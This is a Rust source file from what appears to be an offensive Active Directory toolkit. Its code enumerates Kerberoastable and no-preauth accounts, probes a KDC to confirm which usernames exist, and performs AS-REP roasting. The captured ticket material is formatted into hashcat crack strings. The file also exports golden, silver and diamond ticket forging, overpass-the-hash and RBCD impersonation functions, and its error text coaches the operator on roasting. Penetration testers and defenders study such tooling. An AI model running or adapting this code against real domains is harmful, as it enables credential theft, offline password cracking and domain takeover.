1use adhammer_core::object::uac;
10use adhammer_core::snapshot::Snapshot;
11
12use anyhow::{anyhow, bail, Result};
13
14use picky_asn1::bit_string::BitString;
15use picky_asn1::date::Date;
16use picky_asn1::restricted_string::Ia5String;
17use picky_asn1::wrapper::{
18 Asn1SequenceOf, BitStringAsn1, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
19 ExplicitContextTag3, ExplicitContextTag4, ExplicitContextTag5, ExplicitContextTag7,
20 ExplicitContextTag8, GeneralStringAsn1, IntegerAsn1, Optional,
21};
22use picky_krb::constants::types::{AS_REQ_MSG_TYPE, NT_PRINCIPAL, NT_SRV_INST};
23use picky_krb::data_types::{KerberosTime, PrincipalName};
24use picky_krb::messages::{AsRep, AsReq, KdcReq, KdcReqBody, KrbError};
25
26use tokio::io::{AsyncReadExt, AsyncWriteExt};
27
28pub mod csr;
29pub mod gss;
30pub mod pac;
31pub mod pkinit;
32pub mod rc4;
33pub mod shadowcred;
34mod tgs;
35pub mod unpac;
36pub use tgs::{
37 asktgt, build_ap_req_gss, build_ap_req_gss_aes256, check_credential, forge_diamond_tgt,
38 forge_golden_tgt, forge_silver_tgt, get_service_ticket, get_tgt, get_tgt_by_hash,
39 golden_ccache, overpass_the_hash, rbcd_impersonate, rbcd_impersonate_by_hash, roast_spn,
40 silver_ccache, silver_service_ticket, CredResult, ServiceTicket, Tgt, TicketTimestamps,
41};
42
43pub const ETYPE_RC4_HMAC: u8 = 23;
45pub const ETYPE_AES256: u8 = 18;
46pub const ETYPE_AES128: u8 = 17;
47
48#[derive(Clone, Debug)]
50pub struct Candidate {
51 pub sam: String,
52 pub realm: String,
53 pub spn: Option<String>, }
55
56pub fn candidates(snap: &Snapshot, realm: &str) -> (Vec<Candidate>, Vec<Candidate>) {
58 let mut kerberoast = Vec::new();
59 let mut asrep = Vec::new();
60 for o in snap.iter_class("user") {
61 if o.uac() & uac::ACCOUNTDISABLE != 0 {
62 continue;
63 }
64 let Some(sam) = o.one("sAMAccountName") else {
65 continue;
66 };
67 if let Some(spn) = o.all("servicePrincipalName").first() {
68 kerberoast.push(Candidate {
69 sam: sam.into(),
70 realm: realm.into(),
71 spn: Some(spn.clone()),
72 });
73 }
74 if o.uac() & uac::DONT_REQ_PREAUTH != 0 {
75 asrep.push(Candidate {
76 sam: sam.into(),
77 realm: realm.into(),
78 spn: None,
79 });
80 }
81 }
82 (kerberoast, asrep)
83}
84
85pub(crate) fn krb_string(s: &str) -> Result<GeneralStringAsn1> {
96 let ia5 = Ia5String::from_string(s.to_owned()).map_err(|_| {
97 anyhow!(
98 "Kerberos principal component {s:?} contains non-IA5 (non-ASCII) characters; \
99 RFC 4120 requires 7-bit ASCII for user / realm / SPN components"
100 )
101 })?;
102 Ok(GeneralStringAsn1::from(ia5))
103}
104
105pub(crate) fn principal(name_type: u8, parts: &[&str]) -> Result<PrincipalName> {
106 let strings = parts
107 .iter()
108 .map(|p| krb_string(p))
109 .collect::<Result<Vec<_>>>()?;
110 Ok(PrincipalName {
111 name_type: ExplicitContextTag0::from(IntegerAsn1(vec![name_type])),
112 name_string: ExplicitContextTag1::from(Asn1SequenceOf::from(strings)),
113 })
114}
115
116fn build_as_req(user: &str, realm: &str) -> Result<AsReq> {
119 let mut nonce = [0u8; 4];
120 rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut nonce);
121 nonce[0] &= 0x7f; let body = KdcReqBody {
124 kdc_options: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(vec![
126 0x40, 0x81, 0x00, 0x00,
127 ]))),
128 cname: Optional::from(Some(ExplicitContextTag1::from(principal(
129 NT_PRINCIPAL,
130 &[user],
131 )?))),
132 realm: ExplicitContextTag2::from(krb_string(realm)?),
133 sname: Optional::from(Some(ExplicitContextTag3::from(principal(
134 NT_SRV_INST,
135 &["krbtgt", realm],
136 )?))),
137 from: Optional::from(None),
138 till: ExplicitContextTag5::from(KerberosTime::from(
139 Date::new(2037, 9, 13, 2, 48, 5).unwrap(),
140 )),
141 rtime: Optional::from(None),
142 nonce: ExplicitContextTag7::from(IntegerAsn1(nonce.to_vec())),
143 etype: ExplicitContextTag8::from(Asn1SequenceOf::from(vec![
146 IntegerAsn1(vec![ETYPE_RC4_HMAC]),
147 IntegerAsn1(vec![ETYPE_AES256]),
148 IntegerAsn1(vec![ETYPE_AES128]),
149 ])),
150 addresses: Optional::from(None),
151 enc_authorization_data: Optional::from(None),
152 additional_tickets: Optional::from(None),
153 };
154
155 Ok(AsReq::from(KdcReq {
156 pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
157 msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![AS_REQ_MSG_TYPE])),
158 padata: Optional::from(None),
159 req_body: ExplicitContextTag4::from(body),
160 }))
161}
162
163pub(crate) fn now_kerberos_time() -> KerberosTime {
169 use std::time::{SystemTime, UNIX_EPOCH};
170 let secs = SystemTime::now()
171 .duration_since(UNIX_EPOCH)
172 .unwrap()
173 .as_secs() as i64;
174 let (y, m, d) = civil_from_days(secs.div_euclid(86_400));
175 let tod = secs.rem_euclid(86_400);
176 KerberosTime::from(
177 Date::new(
178 y,
179 m,
180 d,
181 (tod / 3600) as u8,
182 ((tod % 3600) / 60) as u8,
183 (tod % 60) as u8,
184 )
185 .unwrap(),
186 )
187}
188
189pub(crate) fn far_future_time() -> KerberosTime {
192 KerberosTime::from(Date::new(2037, 9, 13, 2, 48, 5).unwrap())
193}
194
195fn civil_from_days(z: i64) -> (u16, u8, u8) {
197 let z = z + 719_468;
198 let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
199 let doe = z - era * 146_097;
200 let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
201 let y = yoe + era * 400;
202 let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
203 let mp = (5 * doy + 2) / 153;
204 let d = doy - (153 * mp + 2) / 5 + 1;
205 let m = if mp < 10 { mp + 3 } else { mp - 9 };
206 ((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
207}
208
209const KDC_EXCHANGE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);
215
216pub(crate) async fn kdc_exchange(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
217 tokio::time::timeout(KDC_EXCHANGE_TIMEOUT, kdc_exchange_inner(kdc, request))
218 .await
219 .map_err(|_| {
220 anyhow::anyhow!(
221 "KDC exchange with {} timed out after {}s (hostile server DoS defence)",
222 kdc,
223 KDC_EXCHANGE_TIMEOUT.as_secs()
224 )
225 })?
226}
227
228async fn kdc_exchange_inner(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
229 let addr = if kdc.contains(':') {
230 kdc.to_string()
231 } else {
232 format!("{kdc}:88")
233 };
234 let mut stream = smb2_client::socks::dial(&addr, 88).await?;
235
236 let mut framed = Vec::with_capacity(request.len() + 4);
237 framed.extend_from_slice(&(request.len() as u32).to_be_bytes());
238 framed.extend_from_slice(request);
239 stream.write_all(&framed).await?;
240
241 let mut len = [0u8; 4];
242 stream.read_exact(&mut len).await?;
243 let n = u32::from_be_bytes(len) as usize;
244 if n == 0 || n > 4 * 1024 * 1024 {
245 bail!("implausible KDC response length {n}");
246 }
247 let mut buf = vec![0u8; n];
248 stream.read_exact(&mut buf).await?;
249 Ok(buf)
250}
251
252pub async fn kerbrute_probe(user: &str, realm: &str, kdc: &str) -> Result<KerbruteOutcome> {
265 let raw = picky_asn1_der::to_vec(&build_as_req(user, realm)?)
266 .map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
267 let resp = kdc_exchange(kdc, &raw).await?;
268 if picky_asn1_der::from_bytes::<AsRep>(&resp).is_ok() {
272 return Ok(KerbruteOutcome::Roastable);
273 }
274 match picky_asn1_der::from_bytes::<KrbError>(&resp) {
277 Ok(err) => {
278 let code = err.0.error_code.0;
279 Ok(match code {
280 6 => KerbruteOutcome::Missing, 18 => KerbruteOutcome::Locked, 24 => KerbruteOutcome::Exists, 25 => KerbruteOutcome::Exists, other => KerbruteOutcome::Other(other),
285 })
286 }
287 Err(e) => Err(anyhow!(
288 "unexpected AS response — neither AS-REP nor KRB-ERROR ({e})"
289 )),
290 }
291}
292
293#[derive(Debug, Clone, Copy, PartialEq, Eq)]
296pub enum KerbruteOutcome {
297 Exists,
299 Roastable,
303 Locked,
306 Missing,
308 Other(u32),
311}
312
313impl KerbruteOutcome {
314 pub fn exists(&self) -> bool {
317 matches!(self, Self::Exists | Self::Roastable | Self::Locked)
318 }
319}
320
321pub fn name_asrep_krb_error(code: u32) -> Option<&'static str> {
329 Some(match code {
330 6 => "KDC_ERR_C_PRINCIPAL_UNKNOWN — the account does not exist",
331 14 => "KDC_ERR_ETYPE_NOSUPP — the KDC has RC4 disabled and the AS-REQ asked for it (2019+ default hardening)",
332 18 => "KDC_ERR_CLIENT_REVOKED — the account is disabled or locked out",
333 23 => "KDC_ERR_KEY_EXPIRED — the account's password has expired (reset it before roasting)",
334 24 => "KDC_ERR_PREAUTH_FAILED — the account exists but the supplied credential is wrong",
335 25 => "KDC_ERR_PREAUTH_REQUIRED — DONT_REQ_PREAUTH is NOT set on the account (this is the normal case; nothing to roast)",
336 _ => return None,
337 })
338}
339
340pub async fn asrep_roast(c: &Candidate, kdc: &str) -> Result<String> {
341 let raw = picky_asn1_der::to_vec(&build_as_req(&c.sam, &c.realm)?)
342 .map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
343 let resp = kdc_exchange(kdc, &raw).await?;
344
345 let as_rep: AsRep = match picky_asn1_der::from_bytes(&resp) {
346 Ok(rep) => rep,
347 Err(parse_err) => {
348 return Err(match picky_asn1_der::from_bytes::<KrbError>(&resp) {
355 Ok(err) => match name_asrep_krb_error(err.0.error_code.0) {
356 Some(named) => anyhow!("no AS-REP: {named}"),
357 None => anyhow!(
358 "no AS-REP: KRB-ERROR with unhandled error_code {}",
359 err.0.error_code.0
360 ),
361 },
362 Err(_) => anyhow!(
363 "no AS-REP and the response is not a KRB-ERROR either — malformed KDC reply: {parse_err}"
364 ),
365 });
366 }
367 };
368
369 let enc = &as_rep.0.enc_part.0;
370 let etype = enc
371 .etype
372 .0
373 .0
374 .iter()
375 .fold(0u32, |a, &b| (a << 8) | b as u32);
376 match etype as u8 {
377 ETYPE_RC4_HMAC => Ok(format_asrep(&c.sam, &c.realm, &enc.cipher.0 .0)),
378 e @ (ETYPE_AES128 | ETYPE_AES256) => {
379 Ok(format_asrep_aes(&c.sam, &c.realm, e, &enc.cipher.0 .0))
380 }
381 other => bail!("AS-REP etype {other} not supported for roasting"),
382 }
383}
384
385pub fn format_asrep(user: &str, realm: &str, enc_part: &[u8]) -> String {
392 let cut = 16.min(enc_part.len());
393 format!(
394 "$krb5asrep$23${}@{}:{}${}",
395 user,
396 realm,
397 hex::encode(&enc_part[..cut]),
398 hex::encode(&enc_part[cut..])
399 )
400}
401
402pub fn format_asrep_aes(user: &str, realm: &str, etype: u8, enc_part: &[u8]) -> String {
406 let split = enc_part.len().saturating_sub(12);
407 let (edata, checksum) = enc_part.split_at(split);
408 format!(
409 "$krb5asrep${}${}@{}:{}${}",
410 etype,
411 user,
412 realm,
413 hex::encode(checksum),
414 hex::encode(edata)
415 )
416}
417
418pub fn format_tgs(user: &str, realm: &str, spn: &str, enc_part: &[u8]) -> String {
421 let cut = 16.min(enc_part.len());
422 format!(
423 "$krb5tgs$23$*{}${}${}*${}${}",
424 user,
425 realm,
426 spn,
427 hex::encode(&enc_part[..cut]),
428 hex::encode(&enc_part[cut..])
429 )
430}
431
432pub fn format_tgs_aes(user: &str, realm: &str, spn: &str, etype: u8, enc_part: &[u8]) -> String {
435 let split = enc_part.len().saturating_sub(12);
436 let (edata, checksum) = enc_part.split_at(split);
437 format!(
438 "$krb5tgs${}$*{}${}${}*${}${}",
439 etype,
440 user,
441 realm,
442 spn,
443 hex::encode(checksum),
444 hex::encode(edata)
445 )
446}
447
448#[cfg(test)]
449mod tests {
450 use super::*;
451
452 #[test]
455 fn as_req_roundtrips() {
456 let req = build_as_req("myuser", "EXAMPLE.COM").expect("ASCII-only build_as_req");
457 let _ = req;
458 }
459
460 #[test]
461 fn non_ascii_principal_rejected_cleanly() {
462 let err = build_as_req("александр", "EXAMPLE.COM").unwrap_err();
466 let msg = format!("{err}");
467 assert!(msg.contains("non-IA5"), "unexpected err: {msg}");
468 assert!(msg.contains("RFC 4120"), "err lacks spec citation: {msg}");
469
470 let err2 = build_as_req("admin", "КОРП.ЛОКАЛ").unwrap_err();
471 assert!(format!("{err2}").contains("non-IA5"));
472 }
473
474 #[test]
475 fn _asreq_placeholder() {
476 let req = build_as_req("myuser2", "EXAMPLE.COM").expect("ASCII-only build_as_req");
477 let raw = picky_asn1_der::to_vec(&req).expect("encode");
478 let decoded: AsReq = picky_asn1_der::from_bytes(&raw).expect("decode");
479 assert_eq!(picky_asn1_der::to_vec(&decoded).unwrap(), raw);
480 }
481
482 #[test]
483 fn asrep_hashcat_format() {
484 let h = format_asrep("svc", "CORP.LOCAL", &[0xaa; 32]);
485 assert!(h.starts_with("$krb5asrep$23$svc@CORP.LOCAL:"));
486 assert!(h.contains(&"aa".repeat(16)));
487 }
488
489 #[test]
494 fn ux_d_names_key_expired_from_live_fire() {
495 let named = name_asrep_krb_error(23).expect("code 23 is mapped");
496 assert!(named.contains("KDC_ERR_KEY_EXPIRED"));
497 assert!(
498 named.contains("reset it"),
499 "operator hint text present: {named}"
500 );
501 }
502
503 #[test]
504 fn ux_d_names_all_expected_codes() {
505 for (code, needle) in [
506 (6u32, "KDC_ERR_C_PRINCIPAL_UNKNOWN"),
507 (14, "KDC_ERR_ETYPE_NOSUPP"),
508 (18, "KDC_ERR_CLIENT_REVOKED"),
509 (23, "KDC_ERR_KEY_EXPIRED"),
510 (24, "KDC_ERR_PREAUTH_FAILED"),
511 (25, "KDC_ERR_PREAUTH_REQUIRED"),
512 ] {
513 let named = name_asrep_krb_error(code)
514 .unwrap_or_else(|| panic!("code {code} should be mapped"));
515 assert!(
516 named.contains(needle),
517 "code {code} should carry name {needle}, got: {named}"
518 );
519 }
520 }
521
522 #[test]
523 fn ux_d_returns_none_for_unmapped_code() {
524 assert!(name_asrep_krb_error(41).is_none());
526 assert!(name_asrep_krb_error(0).is_none());
527 assert!(name_asrep_krb_error(u32::MAX).is_none());
528 }
529
530 #[test]
539 fn a5_pkinit_error_shape_has_no_raw_hex() {
540 let named = name_asrep_krb_error(24).unwrap();
543 let msg = format!("KDC rejected PKINIT AS-REQ: {named}");
544 assert!(!msg.contains("e-data="), "raw e-data leaked: {msg}");
545 assert!(
546 msg.contains("KDC_ERR_PREAUTH_FAILED"),
547 "named code missing: {msg}"
548 );
549 }
550}